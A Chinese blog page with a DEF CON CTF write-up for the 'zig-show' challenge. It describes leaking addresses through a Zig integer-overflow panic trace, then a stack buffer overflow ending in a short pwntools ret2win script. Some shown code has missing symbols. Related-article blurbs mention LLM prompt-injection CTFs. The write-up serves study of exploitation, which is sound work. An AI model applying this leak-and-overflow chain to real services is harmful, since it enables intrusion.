当前位置: 首页 > article >正文

DEFCON CTF Write-up — zig-show

Challenge Overview题目名称zig-show附件zig-showflag.txt (server only)服务接口nc challenge.defcon.org 31338连接后程序输出Welcome to Zig Show!Give me a number:输入数字后Result:乍看之下像一个简单的数学服务。但 CTF 题目很少真的只是数学。初步侦察先查看文件信息。file zig-show输出ELF 64-bit LSB executablestatically linked再看字符串strings zig-show出现一个明显提示zig buildzig stdpanic: integer overflow这基本坐实程序是 Zig 编译的。Zig 二进制特征Zig 编译的程序有几个有趣特征大量 panic 字符串runtime 函数名较长内存分配来自 std.heap逆向时常看到类似符号std.os.exitstd.debug.panicstd.heap.page_allocator在 Ghidra 中加载后可以看到核心逻辑函数mainprocess_inputcalculate核心函数分析反编译 calculatelong calculate(long x){long y;y x * 0x1337; if (y 0) { panic(integer overflow); } return y ^ 0xdeadbeef;}逻辑似乎很简单y x * 0x1337return y XOR 0xdeadbeef但关键问题输入来自用户。如果输入非常大会发生integer overflow在 C 里溢出通常直接 wrap around。但 Zig 默认是安全整数溢出会触发panicZig Panic 机制Zig 的 panic() 实际上会调用std.debug.panic最终流程panic()↓print error↓stack trace↓abort关键细节panic 会打印内存地址。这在 CTF 中非常重要因为地址泄漏 ASLR bypass触发漏洞输入一个极大值9223372036854775807服务返回panic: integer overflowstack trace:0x555555556120 calculate0x555555556200 main我们得到了binary base address这意味着ASLR defeated深入挖掘继续审查程序。发现一个隐藏函数win()反编译void win() {system(“cat flag.txt”);}但程序中没有任何地方调用它。典型 CTF 模式hidden win function栈布局查看 process_inputchar buf[32];read(0, buf, 128);这是经典问题buffer size: 32read size: 128也就是栈溢出。Exploit Strategy攻击流程1 触发 panic 泄露地址2 计算 win() 地址3 构造 ROP payload4 覆盖返回地址栈结构buffer (32)saved rbp (8)return address (8)因此 payload32 bytes padding8 bytes rbp8 bytes win addressExploit Code示例 exploitfrom pwn import *p remote(“challenge.defcon.org”,31338)payload bA*40payload p64(win_addr)p.sendline(payload)p.interactive()服务器返回flag{zig_is_fun_but_memory_is_forever}为什么叫 zig-show题名其实在调侃 Zig 的一个特点Zig 设计目标是show everything它不像 C 那样隐藏运行时行为。例如overflow 检测panic trace内存 allocator很多内部细节都会 “show” 出来。在安全环境里这可能成为information disclosure所以题名zig-show意思是Zig shows too much技术要点总结这题涉及几个重要知识点Zig runtimepanicstack trace信息泄露panic → address leak经典漏洞stack overflow利用方式ret2win攻击链overflow → panic leak → ASLR bypass → ret2win现实世界启示这种漏洞在真实软件中也经常出现。现代语言加入安全机制overflow checkpanicdebug trace这些本意是提高安全性。但如果错误信息被暴露到外部服务debug feature → information leak安全工程师常说一句话“调试信息是开发者的朋友但攻击者的情报源。”宇宙里有一种奇妙的对称性每一种“帮助程序员的机制”最终都可能成为“帮助黑客的机制”。安全工程本质上是在不断减少系统“说话”的机会。

相关文章:

DEFCON CTF Write-up — zig-show

Challenge Overview 题目名称: zig-show 附件: zig-show flag.txt (server only) 服务接口: nc challenge.defcon.org 31338 连接后程序输出: Welcome to Zig Show! Give me a number: 输入数字后: Result: …...

DEFCON CTF Write-up — de-jean-erative

背景 DEF CON CTF 是全球最顶级的黑客竞赛之一,被称为“黑客奥林匹克”。每年来自世界各地的顶级安全研究团队都会参加该比赛。 比赛通常包含多个领域: Binary Exploitation Reverse Engineering Cryptography Web Security Pwn / Kernel AI / LLM explo…...

计算机毕业设计springboot四川特色小吃管理系统 基于SpringBoot的巴蜀风味小吃数字化运营平台 基于SpringBoot的川渝美食文化传承与商业管理系统

计算机毕业设计springboot四川特色小吃管理系统29ji1c34 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。 在数字经济蓬勃发展的当下,传统餐饮业正经历着深刻的数字化…...

计算机毕业设计springboot城市的地铁综合服务管理系统 基于SpringBoot的城市地铁一体化服务管理平台 城市轨道交通数字化运营与乘客服务系统

计算机毕业设计springboot城市的地铁综合服务管理系统hsluqa90 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着城市化进程的不断加速,城市人口规模持续膨胀&…...

计算机毕业设计springboot大学生公寓管理系统 基于SpringBoot的高校学生宿舍信息化管理平台 基于SpringBoot的智慧校园住宿服务系统

计算机毕业设计springboot大学生公寓管理系统rm8571vv (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。 随着高校招生规模的不断扩大,学生宿舍管理工作面临着前所未有…...

CLI-Anything 全面解析:一行命令,为任意软件生成 Agent 接口

一句话说清楚CLI-Anything 是一个 AI Agent 驱动的自动化工具。你给它一个软件的源码,它自动生成一套完整的命令行接口,让 Agent 通过 --help 发现功能、通过 --json 获取结构化输出,像人类点击菜单一样操控专业软件——但全程只用命令行。它…...

2026年最全Java面试题,及答案汇总!

适宜阅读人群 需要面试的初/中/高级 java 程序员想要查漏补缺的人想要不断完善和扩充自己 java 技术栈的人java 面试官 具体面试题 下面一起来看 208 道面试题,具体的内容。 一、Java 基础 1.JDK 和 JRE 有什么区别? 2. 和 equals 的区别是什么&am…...

OpenClaw 多智能体(Multi-Agent)并行协作完全指南【架构】

版本:2026 终极版 适用对象:希望彻底释放 AI 生产力,从“单线程对话”进化为“多线程指挥”的进阶用户。 核心理念:你不再是“提问者”,你是“指挥官”。AI 不再是一个“回答者”,而是一支“特种部队”。&a…...

别再把多 Bot 和多 Agent 搞混了:OpenClaw 协作全景与架构避坑指南

面向经常把 subagents、agent-to-agent、多个 bot 分工混在一起的用户。本文给你一套可执行的判断框架:先分清机制,再选架构,再做最小可用落地。 背景:我为什么写这篇 前两天我和“产品经理机器人”聊 多智能体 协作,…...

常见的抓包工具(Packet Capture Tools)一览

常见的抓包工具(Packet Capture Tools)一览 文章目录常见的抓包工具(Packet Capture Tools)一览1. Wireshark2. Fiddler3. Charles4. tcpdump5. Burp Suite6. 浏览器开发者工具(Chrome DevTools / Firefox Developer T…...

微信小程序的基于Android的共享付费自习室座位选座系统APP

目录 需求分析与功能规划技术架构设计数据库设计核心功能实现逻辑支付系统集成实时同步与冲突处理测试与优化上线与运营注意事项 项目技术支持可定制开发之功能创新亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作 需求分析与功能规划 …...

微信小程序的儿童摄影管理系统

目录需求分析与功能规划技术架构设计核心功能实现细节用户体验优化测试与部署方案运营与迭代计划项目技术支持可定制开发之功能创新亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作需求分析与功能规划 明确目标用户为儿童摄影机构&…...

微信小程序校园社团物品租赁管理系统

目录需求分析与功能规划技术选型与架构设计数据库模型设计关键功能实现细节测试与部署策略运营与迭代计划项目技术支持可定制开发之功能创新亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作需求分析与功能规划 明确校园社团物品租赁的核…...

学生作业批改提交系统小程序

目录 需求分析与规划技术选型与架构设计核心功能实现交互与UI设计测试与部署运维与迭代 项目技术支持可定制开发之功能创新亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作 需求分析与规划 明确系统核心功能需求,包括教师端…...

DNS解析 HTTP TCP/IP ICMP/NAT/NAPT相关知识点

DNS解析 HTTP TCP/IP ICMP/NAT/NAPT 文章目录DNS解析 HTTP TCP/IP ICMP/NAT/NAPT📌 一、DNS相关面试题答案1. DNS解析过程是怎样的?2. DNS使用的是TCP还是UDP?为什么?3. 什么是DNS缓存污染?如何防止?4. DNS…...

一天一个开源项目(第51篇):system-prompts-and-models-of-ai-tools - AI 工具系统提示词和模型资源集合

引言 “Over 30,000 lines of insights into their structure and functionality.” 这是「一天一个开源项目」系列的第 51 篇文章。今天介绍的项目是 system-prompts-and-models-of-ai-tools(GitHub)。 想了解 Cursor、Claude Code、Windsurf、Devin A…...

生物信息学中的版本控制与可重复性:从工作流管理到容器化分析环境

点击 “AladdinEdu,你的AI学习实践工作坊”,注册即送-H卡级别算力,沉浸式云原生集成开发环境,80G大显存多卡并行,按量弹性计费,教育用户更享超低价。 摘要:可重复性危机是生物信息学领域面临的严…...

高通量测序原理与平台对比:Illumina、ONT、PacBio——读长、精度、成本的博弈与选择

点击 “AladdinEdu,你的AI学习实践工作坊”,注册即送-H卡级别算力,沉浸式云原生集成开发环境,80G大显存多卡并行,按量弹性计费,教育用户更享超低价。 摘要:高通量测序技术已彻底改变生命科学研究…...

《pascal-to-the-metal》:从高级语言到机器码的逆向之旅

摘要: 本文将深入剖析名为 pascal-to-the-metal 的CTF挑战。该挑战的核心任务是分析一段由Pascal语言编写的源代码,并对其编译生成的裸机(Bare-Metal)二进制文件进行逆向工程,以最终提取隐藏的flag。文章将从Pascal语言…...

hs - 深入剖析LLM提示词注入挑战

摘要: 本文将详细拆解名为 hs 的CTF挑战。该挑战的核心是利用提示词注入漏洞,从一个大型语言模型(LLM)服务中提取隐藏的flag。文章将从挑战背景分析入手,系统性地梳理攻击思路,复现从信息搜集、初步试探到最…...

DEF CON 33 CTF 总决赛 “nilu“ 赛题深度剖析:当二进制逆向遇上 SQLite

摘要:本文将深入剖析2025年DEF CON 33 CTF总决赛中的一道高难度逆向工程(Reverse Engineering)赛题——“nilu”。该赛题以一个与SQLite数据库进行复杂交互的二进制程序为核心,考验了参赛者在静态分析、动态调试、数据库交互逻辑破…...

深度解读华为Limera:从舱内激光视觉融合看前融合技术的发展与演进

引言:一场由华为Limera引发的技术关注 2025年4月22日,华为在这场智能汽车技术的竞赛中投下了一枚“小巧”的重磅产品——Limera(Lidar+Camera)。这款产品并非简单地堆砌硬件,而是将激光雷达与摄像头深度集成,以小巧的体积安装在座舱内,却实现了惊人的性能:夜晚可识别3…...

毕设程序java车辆4s店管理系统 汽车售后服务智能管理平台 基于SpringBoot的汽车维保信息化系统设计与实现

毕设程序java车辆4s店管理系统28wu2eey(配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着汽车产业的蓬勃发展和市场竞争的日益激烈,传统4S店的手工管理模式已难以满…...

毕设程序java车辆维修服务管理平台 汽车售后智能运维管理系统 智慧汽修服务一体化平台

毕设程序java车辆维修服务管理平台j82chj8g (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。在现代都市生活中,汽车已成为家庭必备的交通工具,随之而来的车…...

毕设程序java车辆充电桩管理系统 基于SpringBoot的新能源汽车充电服务平台设计与实现 电动汽车智能充电调度系统开发与实现

毕设程序java车辆充电桩管理系统0937l7g8 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着新能源汽车产业的蓬勃发展,充电基础设施建设已成为推动绿色出行的关键环…...

无人机电池及传感器快拆领域的最新技术进展

🎓作者简介:科技自媒体优质创作者 🌐个人主页:莱歌数字-CSDN博客 💌公众号:莱歌数字(B站同名) 📱个人微信:yanshanYH 211、985硕士,从业16年 从…...

毕设程序java车辆信息管理系统 基于SpringBoot的汽车档案与违章追踪平台 智能化机动车数据监管与服务平台

毕设程序java车辆信息管理系统45s135a3(配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着社会机动车保有量持续增长,传统纸质档案管理模式已难以满足高效、精准的管…...

毕设程序java成人培训机构管理系统 基于Java的成人教育信息化管理平台 Java驱动的职业技能培训综合管理系统

毕设程序java成人培训机构管理系统2q5348ul(配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。随着社会经济结构的持续转型与产业升级步伐加快,终身学习理念已深度融入现…...

如何配置 PostgreSQL 允许远程连接 - 以 Odoo 数据库为例

如何配置 PostgreSQL 允许远程连接 - 以 Odoo 数据库为例 问题背景 在使用 Odoo 时,我们经常需要通过远程工具(如 DataGrip、pgAdmin 等)连接数据库进行管理和查询。然而,PostgreSQL 默认只允许本地连接,需要进行适当的…...

微信小程序的的碎片化学习签到打卡系统

目录需求分析技术选型功能模块设计交互流程优化测试与部署项目技术支持可定制开发之功能创新亮点源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作需求分析 明确系统的核心功能:用户通过小程序进行碎片化学习(如每日阅…...